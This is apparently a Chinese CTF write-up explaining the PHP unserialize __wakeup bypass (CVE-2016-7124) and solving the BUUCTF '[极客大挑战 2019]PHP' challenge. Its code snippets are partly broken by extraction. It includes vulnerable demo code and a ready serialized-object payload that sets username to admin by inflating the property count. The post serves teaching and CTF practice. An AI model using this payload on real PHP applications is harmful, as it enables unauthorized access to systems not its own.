在php反序列化数据过程中,如果类中存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,当序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行
适用环境PHP 5<5.6.25; PHP 7<7.0.10
【资料图】
环境源码
"; } public function __wakeup(){ echo "__wakeup()被调用
"; } public function __destruct(){ echo "__destruct()被调用
"; } //}unserialize($_GET["x"]);?>
正常执行流程为,网页接受变量x数据进行反序列化操作,__wakeup()魔术方法被调用,然后程序执行完毕,__destruct魔术方法被调用。
确认php版本是否符合
修改对象属性个数的值大于真实的属性个数时,__wakeup魔术方法被绕过
CTF赛题应用BUUCTF--[极客大挑战 2019]PHP根据赛题提示,下载www.zip备份文件源码username = $username; $this->password = $password; } function __wakeup(){ $this->username = "guest"; } function __destruct(){ if ($this->password != 100) { echo "NO!!!hacker!!!"; echo "You name is: "; echo $this->username;echo ""; echo "You password is: "; echo $this->password;echo ""; die(); } if ($this->username === "admin") { global $flag; echo $flag; }else{ echo "hello my friend~~sorry i can"t give you the flag!"; die(); } }}?>
对代码进行分析可知,想要获取flag需要执行__destruct魔术方法,并且传入的序列化数据中的username值为admin,且password值为100,通过构造pop链可以修改Name类的属性,但是在此网页接受数据之后,会对数据进行反序列化处理,在进行反序列化处理之前会调用__wakeup魔术方法,但是在代码中,__wakeup魔术方法将username进行了重新赋值,因此要想获取flag,必须绕过__wakeup。
确认php版本是否在符合CVE-2016-7124漏洞版本区间(PHP 5<5.6.25; PHP 7<7.0.10)构造pop链
得到序列化数据之后要将private型得数据特征表现出来,即private属性序列化的时候格式是%00类名%00成员名,并让对象属性个数大于真实个数。
payload
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
漏洞修复升级php版本即可
以上内容仅作参考学习,如有瑕疵或错误,希望各位师傅们斧正,感谢阅读。
关键词: